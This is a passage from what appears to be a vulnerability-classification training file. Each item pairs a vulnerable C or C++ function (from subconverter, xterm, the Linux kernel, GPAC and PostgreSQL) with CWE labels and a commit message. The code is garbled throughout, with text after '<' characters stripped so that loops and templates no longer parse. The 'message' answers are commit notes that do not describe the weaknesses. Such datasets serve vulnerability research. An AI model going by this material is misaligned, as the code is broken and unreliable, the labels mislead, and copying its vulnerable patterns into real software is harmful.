ext.clash_proxies_style = global.clashProxiesStyle;\n\n    /// read preference from argument, assign global var if not in argument\n    ext.tfo.define(argTFO).define(global.TFOFlag);\n    ext.udp.define(argUDP).define(global.UDPFlag);\n    ext.skip_cert_verify.define(argSkipCertVerify).define(global.skipCertVerify);\n    ext.tls13.define(argTLS13).define(global.TLS13Flag);\n\n    ext.sort_flag = argSort.get(global.enableSort);\n    argUseSortScript.define(global.sortScript.size() != 0);\n    if(ext.sort_flag && argUseSortScript)\n        ext.sort_script = global.sortScript;\n    ext.filter_deprecated = argFilterDeprecated.get(global.filterDeprecated);\n    ext.clash_new_field_name = argClashNewField.get(global.clashUseNewField);\n    ext.clash_script = argGenClashScript.get();\n    ext.clash_classical_ruleset = argGenClassicalRuleProvider.get();\n    if(!argExpandRulesets)\n        ext.clash_new_field_name = true;\n    else\n        ext.clash_script = false;\n\n    ext.nodelist = argGenNodeList;\n    ext.surge_ssr_path = global.surgeSSRPath;\n    ext.quanx_dev_id = argDeviceID.size() ? argDeviceID : global.quanXDevID;\n    ext.enable_rule_generator = global.enableRuleGen;\n    ext.overwrite_original_rules = global.overwriteOriginalRules;\n    if(!argExpandRulesets)\n        ext.managed_config_prefix = global.managedConfigPrefix;\n\n    /// load external configuration\n    if(argExternalConfig.empty())\n        argExternalConfig = global.defaultExtConfig;\n    if(argExternalConfig.size())\n    {\n        //std::cerr<<\"External configuration file provided. Loading...\\n\";\n        writeLog(0, \"External configuration file provided. Loading...\", LOG_LEVEL_INFO);\n        ExternalConfig extconf;\n        extconf.tpl_args = &tpl_args;\n        if(loadExternalConfig(argExternalConfig, extconf) == 0)\n        {\n            if(!ext.nodelist)\n            {\n                checkExternalBase(extconf.sssub_rule_base, lSSSubBase);\n                if(!lSimpleSubscription)\n                {\n                    checkExternalBase(extconf.clash_rule_base, lClashBase);\n                    checkExternalBase(extconf.surge_rule_base, lSurgeBase);\n                    checkExternalBase(extconf.surfboard_rule_base, lSurfboardBase);\n                    checkExternalBase(extconf.mellow_rule_base, lMellowBase);\n                    checkExternalBase(extconf.quan_rule_base, lQuanBase);\n                    checkExternalBase(extconf.quanx_rule_base, lQuanXBase);\n                    checkExternalBase(extconf.loon_rule_base, lLoonBase);\n\n                    if(extconf.surge_ruleset.size())\n                        lCustomRulesets = extconf.surge_ruleset;\n                    if(extconf.custom_proxy_group.size())\n                        lCustomProxyGroups = extconf.custom_proxy_group;\n                    ext.enable_rule_generator = extconf.enable_rule_generator;\n                    ext.overwrite_original_rules = extconf.overwrite_original_rules;\n                }\n            }\n            if(extconf.rename.size())\n                ext.rename_array = extconf.rename;\n            if(extconf.emoji.size())\n                ext.emoji_array = extconf.emoji;\n            if(extconf.include.size())\n                lIncludeRemarks = extconf.include;\n            if(extconf.exclude.size())\n                lExcludeRemarks = extconf.exclude;\n            argAddEmoji.define(extconf.add_emoji);\n            argRemoveEmoji.define(extconf.remove_old_emoji);\n        }\n    }\n    else\n    {\n        if(!lSimpleSubscription)\n        {\n            /// loading custom groups\n            if(argCustomGroups.size() && !ext.nodelist)\n            {\n                string_array vArray = split(argCustomGroups, \"@\");\n                lCustomProxyGroups = INIBinding::from::from_ini(vArray);\n            }\n\n            /// loading custom rulesets\n            if(argCustomRulesets.size() && !ext.nodelist)\n            {\n                string_array vArray = split(argCustomRulesets, \"@\");\n                lCustomRulesets = INIBinding::from::from_ini(vArray);\n            }\n        }\n    }\n    if(ext.enable_rule_generator && !ext.nodelist && !lSimpleSubscription)\n    {\n        if(lCustomRulesets != global.customRulesets)\n            refreshRulesets(lCustomRulesets, lRulesetContent);\n        else\n        {\n            if(global.updateRulesetOnRequest)\n                refreshRulesets(global.customRulesets, global.rulesetsContent);\n            lRulesetContent = global.rulesetsContent;\n        }\n    }\n\n    if(!argEmoji.is_undef())\n    {\n        argAddEmoji.set(argEmoji);\n        argRemoveEmoji.set(true);\n    }\n    ext.add_emoji = argAddEmoji.get(global.addEmoji);\n    ext.remove_emoji = argRemoveEmoji.get(global.removeEmoji);\n    if(ext.add_emoji && ext.emoji_array.empty())\n        ext.emoji_array = safe_get_emojis();\n    if(argRenames.size())\n        ext.rename_array = INIBinding::from::from_ini(split(argRenames, \"`\"), \"@\");\n    else if(ext.rename_array.empty())\n        ext.rename_array = safe_get_renames();\n\n    /// check custom include/exclude settings\n    if(argIncludeRemark.size() && regValid(argIncludeRemark))\n        lIncludeRemarks = string_array{argIncludeRemark};\n    if(argExcludeRemark.size() && regValid(argExcludeRemark))\n        lExcludeRemarks = string_array{argExcludeRemark};\n\n    /// initialize script runtime\n    if(authorized && !global.scriptCleanContext)\n    {\n        ext.js_runtime = new qjs::Runtime();\n        script_runtime_init(*ext.js_runtime);\n        ext.js_context = new qjs::Context(*ext.js_runtime);\n        script_context_init(*ext.js_context);\n    }\n\n    //start parsing urls\n    RegexMatchConfigs stream_temp = safe_get_streams(), time_temp = safe_get_times();\n\n    //loading urls\n    string_array urls;\n    std::vector nodes, insert_nodes;\n    int groupID = 0;\n\n    parse_settings parse_set;\n    parse_set.proxy = &proxy;\n    parse_set.exclude_remarks = &lExcludeRemarks;\n    parse_set.include_remarks = &lIncludeRemarks;\n    parse_set.stream_rules = &stream_temp;\n    parse_set.time_rules = &time_temp;\n    parse_set.sub_info = &subInfo;\n    parse_set.authorized = authorized;\n    parse_set.request_header = &request.headers;\n    parse_set.js_runtime = ext.js_runtime;\n    parse_set.js_context = ext.js_context;\n\n    if(global.insertUrls.size() && argEnableInsert)\n    {\n        groupID = -1;\n        urls = split(global.insertUrls, \"|\");\n        importItems(urls, true);\n        for(std::string &x : urls)\n        {\n            x = regTrim(x);\n            writeLog(0, \"Fetching node data from url '\" + x + \"'.\", LOG_LEVEL_INFO);\n            if(addNodes(x, insert_nodes, groupID, parse_set) == -1)\n            {\n                if(global.skipFailedLinks)\n                    writeLog(0, \"The following link doesn't contain any valid node info: \" + x, LOG_LEVEL_WARNING);\n                else\n                {\n                    *status_code = 400;\n                    return \"The following link doesn't contain any valid node info: \" + x;\n                }\n            }\n            groupID--;\n        }\n    }\n    urls = split(argUrl, \"|\");\n    importItems(urls, true);\n    groupID = 0;\n    for(std::string &x : urls)\n    {\n        x = regTrim(x);\n        //std::cerr<<\"Fetching node data from url '\"<) ctx.eval(\"filter\");\n                nodes.erase(std::remove_if(nodes.begin(), nodes.end(), filter), nodes.end());\n            }\n            catch(qjs::exception)\n            {\n                script_print_stack(ctx);\n            }\n        }, global.scriptCleanContext);\n    }\n\n    //check custom group name\n    if(argGroupName.size())\n        for(Proxy &x : nodes)\n            x.Group = argGroupName;\n\n    //do pre-process now\n    preprocessNodes(nodes, ext);\n\n    /*\n    //insert node info to template\n    int index = 0;\n    std::string template_node_prefix;\n    for(Proxy &x : nodes)\n    {\n        template_node_prefix = std::to_string(index) + \".\";\n        tpl_args.node_list[template_node_prefix + \"remarks\"] = x.remarks;\n        tpl_args.node_list[template_node_prefix + \"group\"] = x.Group;\n        tpl_args.node_list[template_node_prefix + \"groupid\"] = std::to_string(x.GroupId);\n        index++;\n    }\n    */\n\n    ProxyGroupConfigs dummy_group;\n    std::vector dummy_ruleset;\n    std::string managed_url = base64Decode(urlDecode(getUrlArg(argument, \"profile_data\")));\n    if(managed_url.empty())\n        managed_url = global.managedConfigPrefix + \"/sub?\" + argument;\n\n    //std::cerr<<\"Generate target: \";\n    proxy = parseProxy(global.proxyConfig);\n    switch(hash_(argTarget))\n    {\n    case \"clash\"_hash: case \"clashr\"_hash:\n        writeLog(0, argTarget == \"clashr\" ? \"Generate target: ClashR\" : \"Generate target: Clash\", LOG_LEVEL_INFO);\n        tpl_args.local_vars[\"clash.new_field_name\"] = ext.clash_new_field_name ? \"true\" : \"false\";\n        response.headers[\"profile-update-interval\"] = std::to_string(interval / 3600);\n        if(ext.nodelist)\n        {\n            YAML::Node yamlnode;\n            proxyToClash(nodes, yamlnode, dummy_group, argTarget == \"clashr\", ext);\n            output_content = YAML::Dump(yamlnode);\n        }\n        else\n        {\n            if(render_template(fetchFile(lClashBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n            {\n                *status_code = 400;\n                return base_content;\n            }\n            output_content = proxyToClash(nodes, base_content, lRulesetContent, lCustomProxyGroups, argTarget == \"clashr\", ext);\n        }\n\n        if(argUpload)\n            uploadGist(argTarget, argUploadPath, output_content, false);\n        break;\n    case \"surge\"_hash:\n\n        writeLog(0, \"Generate target: Surge \" + std::to_string(intSurgeVer), LOG_LEVEL_INFO);\n\n        if(ext.nodelist)\n        {\n            output_content = proxyToSurge(nodes, base_content, dummy_ruleset, dummy_group, intSurgeVer, ext);\n\n            if(argUpload)\n                uploadGist(\"surge\" + argSurgeVer + \"list\", argUploadPath, output_content, true);\n        }\n        else\n        {\n            if(render_template(fetchFile(lSurgeBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n            {\n                *status_code = 400;\n                return base_content;\n            }\n            output_content = proxyToSurge(nodes, base_content, lRulesetContent, lCustomProxyGroups, intSurgeVer, ext);\n\n            if(argUpload)\n                uploadGist(\"surge\" + argSurgeVer, argUploadPath, output_content, true);\n\n            if(global.writeManagedConfig && global.managedConfigPrefix.size())\n                output_content = \"#!MANAGED-CONFIG \" + managed_url + (interval ? \" interval=\" + std::to_string(interval) : \"\") \\\n                 + \" strict=\" + std::string(strict ? \"true\" : \"false\") + \"\\n\\n\" + output_content;\n        }\n        break;\n    case \"surfboard\"_hash:\n        writeLog(0, \"Generate target: Surfboard\", LOG_LEVEL_INFO);\n\n        if(render_template(fetchFile(lSurfboardBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n        {\n            *status_code = 400;\n            return base_content;\n        }\n        output_content = proxyToSurge(nodes, base_content, lRulesetContent, lCustomProxyGroups, -3, ext);\n        if(argUpload)\n            uploadGist(\"surfboard\", argUploadPath, output_content, true);\n\n        if(global.writeManagedConfig && global.managedConfigPrefix.size())\n            output_content = \"#!MANAGED-CONFIG \" + managed_url + (interval ? \" interval=\" + std::to_string(interval) : \"\") \\\n                 + \" strict=\" + std::string(strict ? \"true\" : \"false\") + \"\\n\\n\" + output_content;\n        break;\n    case \"mellow\"_hash:\n        writeLog(0, \"Generate target: Mellow\", LOG_LEVEL_INFO);\n\n        if(render_template(fetchFile(lMellowBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n        {\n            *status_code = 400;\n            return base_content;\n        }\n        output_content = proxyToMellow(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext);\n\n        if(argUpload)\n            uploadGist(\"mellow\", argUploadPath, output_content, true);\n        break;\n    case \"sssub\"_hash:\n        writeLog(0, \"Generate target: SS Subscription\", LOG_LEVEL_INFO);\n\n        if(render_template(fetchFile(lSSSubBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n        {\n            *status_code = 400;\n            return base_content;\n        }\n        output_content = proxyToSSSub(base_content, nodes, ext);\n        if(argUpload)\n            uploadGist(\"sssub\", argUploadPath, output_content, false);\n        break;\n    case \"ss\"_hash:\n        writeLog(0, \"Generate target: SS\", LOG_LEVEL_INFO);\n        output_content = proxyToSingle(nodes, 1, ext);\n        if(argUpload)\n            uploadGist(\"ss\", argUploadPath, output_content, false);\n        break;\n    case \"ssr\"_hash:\n        writeLog(0, \"Generate target: SSR\", LOG_LEVEL_INFO);\n        output_content = proxyToSingle(nodes, 2, ext);\n        if(argUpload)\n            uploadGist(\"ssr\", argUploadPath, output_content, false);\n        break;\n    case \"v2ray\"_hash:\n        writeLog(0, \"Generate target: v2rayN\", LOG_LEVEL_INFO);\n        output_content = proxyToSingle(nodes, 4, ext);\n        if(argUpload)\n            uploadGist(\"v2ray\", argUploadPath, output_content, false);\n        break;\n    case \"trojan\"_hash:\n        writeLog(0, \"Generate target: Trojan\", LOG_LEVEL_INFO);\n        output_content = proxyToSingle(nodes, 8, ext);\n        if(argUpload)\n            uploadGist(\"trojan\", argUploadPath, output_content, false);\n        break;\n    case \"mixed\"_hash:\n        writeLog(0, \"Generate target: Standard Subscription\", LOG_LEVEL_INFO);\n        output_content = proxyToSingle(nodes, 15, ext);\n        if(argUpload)\n            uploadGist(\"sub\", argUploadPath, output_content, false);\n        break;\n    case \"quan\"_hash:\n        writeLog(0, \"Generate target: Quantumult\", LOG_LEVEL_INFO);\n        if(!ext.nodelist)\n        {\n            if(render_template(fetchFile(lQuanBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n            {\n                *status_code = 400;\n                return base_content;\n            }\n        }\n\n        output_content = proxyToQuan(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext);\n\n        if(argUpload)\n            uploadGist(\"quan\", argUploadPath, output_content, false);\n        break;\n    case \"quanx\"_hash:\n        writeLog(0, \"Generate target: Quantumult X\", LOG_LEVEL_INFO);\n        if(!ext.nodelist)\n        {\n            if(render_template(fetchFile(lQuanXBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n            {\n                *status_code = 400;\n                return base_content;\n            }\n        }\n\n        output_content = proxyToQuanX(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext);\n\n        if(argUpload)\n            uploadGist(\"quanx\", argUploadPath, output_content, false);\n        break;\n    case \"loon\"_hash:\n        writeLog(0, \"Generate target: Loon\", LOG_LEVEL_INFO);\n        if(!ext.nodelist)\n        {\n            if(render_template(fetchFile(lLoonBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0)\n            {\n                *status_code = 400;\n                return base_content;\n            }\n        }\n\n        output_content = proxyToLoon(nodes, base_content, lRulesetContent, lCustomProxyGroups, ext);\n\n        if(argUpload)\n            uploadGist(\"loon\", argUploadPath, output_content, false);\n        break;\n    case \"ssd\"_hash:\n        writeLog(0, \"Generate target: SSD\", LOG_LEVEL_INFO);\n        output_content = proxyToSSD(nodes, argGroupName, subInfo, ext);\n        if(argUpload)\n            uploadGist(\"ssd\", argUploadPath, output_content, false);\n        break;\n    default:\n        writeLog(0, \"Generate target: Unspecified\", LOG_LEVEL_INFO);\n        *status_code = 500;\n        return \"Unrecognized target\";\n    }\n    writeLog(0, \"Generate completed.\", LOG_LEVEL_INFO);\n    if(argFilename.size())\n        response.headers.emplace(\"Content-Disposition\", \"attachment; filename=\\\"\" + argFilename + \"\\\"; filename*=utf-8''\" + urlEncode(argFilename));\n    return output_content;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-434', 'CWE-94'], 'message': 'Enhancements\n\nAdd authorization check before loading scripts.\nAdd detailed logs when loading preference settings.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SaltTextAway(XtermWidget xw,\n\t     int which,\n\t     CELL *cellc,\n\t     CELL *cell)\n{\n    TScreen *screen = TScreenOf(xw);\n    SelectedCells *scp;\n    int i;\n    int eol;\n    int need = 0;\n    Char *line;\n    Char *lp;\n    CELL first = *cellc;\n    CELL last = *cell;\n\n    if (which < 0 || which >= MAX_SELECTIONS) {\n\tTRACE((\"SaltTextAway - which selection?\\n\"));\n\treturn;\n    }\n    scp = &(screen->selected_cells[which]);\n\n    TRACE((\"SaltTextAway which=%d, first=%d,%d, last=%d,%d\\n\",\n\t   which, first.row, first.col, last.row, last.col));\n\n    if (isSameRow(&first, &last) && first.col > last.col) {\n\tint tmp;\n\tEXCHANGE(first.col, last.col, tmp);\n    }\n\n    --last.col;\n    /* first we need to know how long the string is before we can save it */\n\n    if (isSameRow(&last, &first)) {\n\tneed = Length(screen, first.row, first.col, last.col);\n    } else {\t\t\t/* two cases, cut is on same line, cut spans multiple lines */\n\tneed += Length(screen, first.row, first.col, screen->max_col) + 1;\n\tfor (i = first.row + 1; i < last.row; i++)\n\t    need += Length(screen, i, 0, screen->max_col) + 1;\n\tif (last.col >= 0)\n\t    need += Length(screen, last.row, 0, last.col);\n    }\n\n    /* UTF-8 may require more space */\n    if_OPT_WIDE_CHARS(screen, {\n\tneed *= 4;\n    });\n\n    /* now get some memory to save it in */\n    if (need < 0)\n\treturn;\n\n    if (scp->data_limit <= (unsigned) need) {\n\tif ((line = (Char *) malloc((size_t) need + 1)) == 0)\n\t    SysError(ERROR_BMALLOC2);\n\tfree(scp->data_buffer);\n\tscp->data_buffer = line;\n\tscp->data_limit = (size_t) (need + 1);\n    } else {\n\tline = scp->data_buffer;\n    }\n\n    if (line == 0)\n\treturn;\n\n    line[need] = '\\0';\t\t/* make sure it is null terminated */\n    lp = line;\t\t\t/* lp points to where to save the text */\n    if (isSameRow(&last, &first)) {\n\tlp = SaveText(screen, last.row, first.col, last.col, lp, &eol);\n    } else {\n\tlp = SaveText(screen, first.row, first.col, screen->max_col, lp, &eol);\n\tif (eol)\n\t    *lp++ = '\\n';\t/* put in newline at end of line */\n\tfor (i = first.row + 1; i < last.row; i++) {\n\t    lp = SaveText(screen, i, 0, screen->max_col, lp, &eol);\n\t    if (eol)\n\t\t*lp++ = '\\n';\n\t}\n\tif (last.col >= 0)\n\t    lp = SaveText(screen, last.row, 0, last.col, lp, &eol);\n    }\n    *lp = '\\0';\t\t\t/* make sure we have end marked */\n\n    TRACE((\"Salted TEXT:%u:%s\\n\", (unsigned) (lp - line),\n\t   visibleChars(line, (unsigned) (lp - line))));\n\n    scp->data_length = (size_t) (lp - line);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'snapshot of project \"xterm\", label xterm-365d'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline __u16\tinet_getid(struct inet_peer *p, int more)\n{\n\tmore++;\n\tinet_peer_refcheck(p);\n\treturn atomic_add_return(more, &p->ip_id_count) - more;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'ipv6: make fragment identifications less predictable\n\nIPv6 fragment identification generation is way beyond what we use for\nIPv4 : It uses a single generator. Its not scalable and allows DOS\nattacks.\n\nNow inetpeer is IPv6 aware, we can use it to provide a more secure and\nscalable frag ident generator (per destination, instead of system wide)\n\nThis patch :\n1) defines a new secure_ipv6_id() helper\n2) extends inet_getid() to provide 32bit results\n3) extends ipv6_select_ident() with a new dest parameter\n\nReported-by: Fernando Gont \nSigned-off-by: Eric Dumazet \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err stbl_AddChunkOffset(GF_MediaBox *mdia, u32 sampleNumber, u32 StreamDescIndex, u64 offset, u32 nb_pack_samples)\n{\n\tGF_SampleTableBox *stbl;\n\tGF_ChunkOffsetBox *stco;\n\tGF_SampleToChunkBox *stsc;\n\tGF_ChunkLargeOffsetBox *co64;\n\tGF_StscEntry *ent;\n\tu32 i, k, *newOff, new_chunk_idx=0;\n\tu64 *newLarge;\n\ts32 insert_idx = -1;\n\n\tstbl = mdia->information->sampleTable;\n\tstsc = stbl->SampleToChunk;\n\n//\tif (stsc->w_lastSampleNumber + 1 < sampleNumber ) return GF_BAD_PARAM;\n\tif (!nb_pack_samples)\n\t\tnb_pack_samples = 1;\n\n\tif (!stsc->nb_entries || (stsc->nb_entries + 2 >= stsc->alloc_size)) {\n\t\tif (!stsc->alloc_size) stsc->alloc_size = 1;\n\t\tALLOC_INC(stsc->alloc_size);\n\t\tstsc->entries = gf_realloc(stsc->entries, sizeof(GF_StscEntry)*stsc->alloc_size);\n\t\tif (!stsc->entries) return GF_OUT_OF_MEM;\n\t\tmemset(&stsc->entries[stsc->nb_entries], 0, sizeof(GF_StscEntry)*(stsc->alloc_size-stsc->nb_entries) );\n\t}\n\tif (sampleNumber == stsc->w_lastSampleNumber + 1) {\n\t\tent = &stsc->entries[stsc->nb_entries];\n\t\tstsc->w_lastChunkNumber ++;\n\t\tent->firstChunk = stsc->w_lastChunkNumber;\n\t\tif (stsc->nb_entries) stsc->entries[stsc->nb_entries-1].nextChunk = stsc->w_lastChunkNumber;\n\n\t\tnew_chunk_idx = stsc->w_lastChunkNumber;\n\t\tstsc->w_lastSampleNumber = sampleNumber + nb_pack_samples-1;\n\t\tstsc->nb_entries += 1;\n\t} else {\n\t\tu32 cur_samp = 1;\n\t\tu32 samples_in_next_entry = 0;\n\t\tu32 next_entry_first_chunk = 1;\n\t\tfor (i=0; inb_entries; i++) {\n\t\t\tu32 nb_chunks = 1;\n\t\t\tent = &stsc->entries[i];\n\t\t\tif (i+1nb_entries) nb_chunks = stsc->entries[i+1].firstChunk - ent->firstChunk;\n\t\t\tfor (k=0; ksamplesPerChunk + cur_samp > sampleNumber)) {\n\t\t\t\t\tinsert_idx = i;\n\t\t\t\t\t//stsc entry has samples before inserted sample, split\n\t\t\t\t\tif (sampleNumber>cur_samp) {\n\t\t\t\t\t\tsamples_in_next_entry = ent->samplesPerChunk - (sampleNumber-cur_samp);\n\t\t\t\t\t\tent->samplesPerChunk = sampleNumber-cur_samp;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcur_samp += ent->samplesPerChunk;\n\t\t\t\tnext_entry_first_chunk++;\n\t\t\t}\n\t\t\tif (insert_idx>=0) break;\n\t\t}\n\t\t//we need to split the entry\n\t\tif (samples_in_next_entry) {\n\t\t\tmemmove(&stsc->entries[insert_idx+3], &stsc->entries[insert_idx+1], sizeof(GF_StscEntry)*(stsc->nb_entries - insert_idx - 1));\n\t\t\t//copy over original entry\n\t\t\tent = &stsc->entries[insert_idx];\n\t\t\tstsc->entries[insert_idx+2] = *ent;\n\t\t\tstsc->entries[insert_idx+2].samplesPerChunk = samples_in_next_entry;\n\t\t\tstsc->entries[insert_idx+2].firstChunk = next_entry_first_chunk + 1;\n\n\t\t\t//setup new entry\n\t\t\tent = &stsc->entries[insert_idx+1];\n\t\t\tent->firstChunk = next_entry_first_chunk;\n\n\t\t\tstsc->nb_entries += 2;\n\t\t} else {\n\t\t\tif (insert_idx<0) {\n\t\t\t\tent = &stsc->entries[stsc->nb_entries];\n\t\t\t\tinsert_idx = stsc->nb_entries;\n\t\t\t} else {\n\t\t\t\tmemmove(&stsc->entries[insert_idx+1], &stsc->entries[insert_idx], sizeof(GF_StscEntry)*(stsc->nb_entries+1-insert_idx));\n\t\t\t\tent = &stsc->entries[insert_idx+1];\n\t\t\t}\n\n\t\t\tent->firstChunk = next_entry_first_chunk;\n\t\t\tstsc->nb_entries += 1;\n\t\t}\n\t\tnew_chunk_idx = next_entry_first_chunk;\n\t}\n\tent->isEdited = (Media_IsSelfContained(mdia, StreamDescIndex)) ? 1 : 0;\n\tent->sampleDescriptionIndex = StreamDescIndex;\n\tent->samplesPerChunk = nb_pack_samples;\n\tent->nextChunk = ent->firstChunk+1;\n\n\t//OK, now if we've inserted a chunk, update the sample to chunk info...\n\tif (sampleNumber + nb_pack_samples - 1 == stsc->w_lastSampleNumber) {\n\t\tif (stsc->nb_entries)\n\t\t\tstsc->entries[stsc->nb_entries-1].nextChunk = ent->firstChunk;\n\n\t\tstbl->SampleToChunk->currentIndex = stsc->nb_entries-1;\n\t\tstbl->SampleToChunk->firstSampleInCurrentChunk = sampleNumber;\n\t\t//write - edit mode: sample number = chunk number\n\t\tstbl->SampleToChunk->currentChunk = stsc->w_lastChunkNumber;\n\t\tstbl->SampleToChunk->ghostNumber = 1;\n\t} else {\n\t\t/*offset remaining entries*/\n\t\tfor (i = insert_idx+1; inb_entries+1; i++) {\n\t\t\tstsc->entries[i].firstChunk++;\n\t\t\tif (i+1nb_entries)\n\t\t\t\tstsc->entries[i-1].nextChunk = stsc->entries[i].firstChunk;\n\t\t}\n\t}\n\n\t//add the offset to the chunk...\n\t//and we change our offset\n\tif (stbl->ChunkOffset->type == GF_ISOM_BOX_TYPE_STCO) {\n\t\tstco = (GF_ChunkOffsetBox *)stbl->ChunkOffset;\n\t\t//if the new offset is a large one, we have to rewrite our table entry by entry (32->64 bit conv)...\n\t\tif (offset > 0xFFFFFFFF) {\n\t\t\tco64 = (GF_ChunkLargeOffsetBox *) gf_isom_box_new_parent(&stbl->child_boxes, GF_ISOM_BOX_TYPE_CO64);\n\t\t\tif (!co64) return GF_OUT_OF_MEM;\n\t\t\tco64->nb_entries = stco->nb_entries + 1;\n\t\t\tco64->alloc_size = co64->nb_entries;\n\t\t\tco64->offsets = (u64*)gf_malloc(sizeof(u64) * co64->nb_entries);\n\t\t\tif (!co64->offsets) return GF_OUT_OF_MEM;\n\t\t\tk = 0;\n\t\t\tfor (i=0; inb_entries; i++) {\n\t\t\t\tif (i + 1 == new_chunk_idx) {\n\t\t\t\t\tco64->offsets[i] = offset;\n\t\t\t\t\tk = 1;\n\t\t\t\t}\n\t\t\t\tco64->offsets[i+k] = (u64) stco->offsets[i];\n\t\t\t}\n\t\t\tif (!k) co64->offsets[co64->nb_entries - 1] = offset;\n\t\t\tgf_isom_box_del_parent(&stbl->child_boxes, stbl->ChunkOffset);\n\t\t\tstbl->ChunkOffset = (GF_Box *) co64;\n\t\t} else {\n\t\t\t//no, we can use this one.\n\t\t\tif (new_chunk_idx > stco->nb_entries) {\n\t\t\t\tif (!stco->alloc_size) stco->alloc_size = stco->nb_entries;\n\t\t\t\tif (stco->nb_entries == stco->alloc_size) {\n\t\t\t\t\tALLOC_INC(stco->alloc_size);\n\t\t\t\t\tstco->offsets = (u32*)gf_realloc(stco->offsets, sizeof(u32) * stco->alloc_size);\n\t\t\t\t\tif (!stco->offsets) return GF_OUT_OF_MEM;\n\t\t\t\t\tmemset(&stco->offsets[stco->nb_entries], 0, sizeof(u32) * (stco->alloc_size-stco->nb_entries) );\n\t\t\t\t}\n\t\t\t\tstco->offsets[stco->nb_entries] = (u32) offset;\n\t\t\t\tstco->nb_entries += 1;\n\t\t\t} else {\n\t\t\t\t//nope. we're inserting\n\t\t\t\tnewOff = (u32*)gf_malloc(sizeof(u32) * (stco->nb_entries + 1));\n\t\t\t\tif (!newOff) return GF_OUT_OF_MEM;\n\t\t\t\tk=0;\n\t\t\t\tfor (i=0; inb_entries; i++) {\n\t\t\t\t\tif (i+1 == new_chunk_idx) {\n\t\t\t\t\t\tnewOff[i] = (u32) offset;\n\t\t\t\t\t\tk=1;\n\t\t\t\t\t}\n\t\t\t\t\tnewOff[i+k] = stco->offsets[i];\n\t\t\t\t}\n\t\t\t\tgf_free(stco->offsets);\n\t\t\t\tstco->offsets = newOff;\n\t\t\t\tstco->nb_entries ++;\n\t\t\t\tstco->alloc_size = stco->nb_entries;\n\t\t\t}\n\t\t}\n\t} else {\n\t\t//use large offset...\n\t\tco64 = (GF_ChunkLargeOffsetBox *)stbl->ChunkOffset;\n\t\tif (sampleNumber > co64->nb_entries) {\n\t\t\tif (!co64->alloc_size) co64->alloc_size = co64->nb_entries;\n\t\t\tif (co64->nb_entries == co64->alloc_size) {\n\t\t\t\tALLOC_INC(co64->alloc_size);\n\t\t\t\tco64->offsets = (u64*)gf_realloc(co64->offsets, sizeof(u64) * co64->alloc_size);\n\t\t\t\tif (!co64->offsets) return GF_OUT_OF_MEM;\n\t\t\t\tmemset(&co64->offsets[co64->nb_entries], 0, sizeof(u64) * (co64->alloc_size - co64->nb_entries) );\n\t\t\t}\n\t\t\tco64->offsets[co64->nb_entries] = offset;\n\t\t\tco64->nb_entries += 1;\n\t\t} else {\n\t\t\t//nope. we're inserting\n\t\t\tnewLarge = (u64*)gf_malloc(sizeof(u64) * (co64->nb_entries + 1));\n\t\t\tif (!newLarge) return GF_OUT_OF_MEM;\n\t\t\tk=0;\n\t\t\tfor (i=0; inb_entries; i++) {\n\t\t\t\tif (i+1 == new_chunk_idx) {\n\t\t\t\t\tnewLarge[i] = offset;\n\t\t\t\t\tk=1;\n\t\t\t\t}\n\t\t\t\tnewLarge[i+k] = co64->offsets[i];\n\t\t\t}\n\t\t\tgf_free(co64->offsets);\n\t\t\tco64->offsets = newLarge;\n\t\t\tco64->nb_entries++;\n\t\t\tco64->alloc_size++;\n\t\t}\n\t}\n\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'fixed #1774 (fuzz)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ExecCreateTableAs(CreateTableAsStmt *stmt, const char *queryString,\n\t\t\t\t  ParamListInfo params, QueryEnvironment *queryEnv,\n\t\t\t\t  char *completionTag)\n{\n\tQuery\t   *query = castNode(Query, stmt->query);\n\tIntoClause *into = stmt->into;\n\tbool\t\tis_matview = (into->viewQuery != NULL);\n\tDestReceiver *dest;\n\tOid\t\t\tsave_userid = InvalidOid;\n\tint\t\t\tsave_sec_context = 0;\n\tint\t\t\tsave_nestlevel = 0;\n\tObjectAddress address;\n\tList\t   *rewritten;\n\tPlannedStmt *plan;\n\tQueryDesc  *queryDesc;\n\n\tif (stmt->if_not_exists)\n\t{\n\t\tOid\t\t\tnspid;\n\n\t\tnspid = RangeVarGetCreationNamespace(stmt->into->rel);\n\n\t\tif (get_relname_relid(stmt->into->rel->relname, 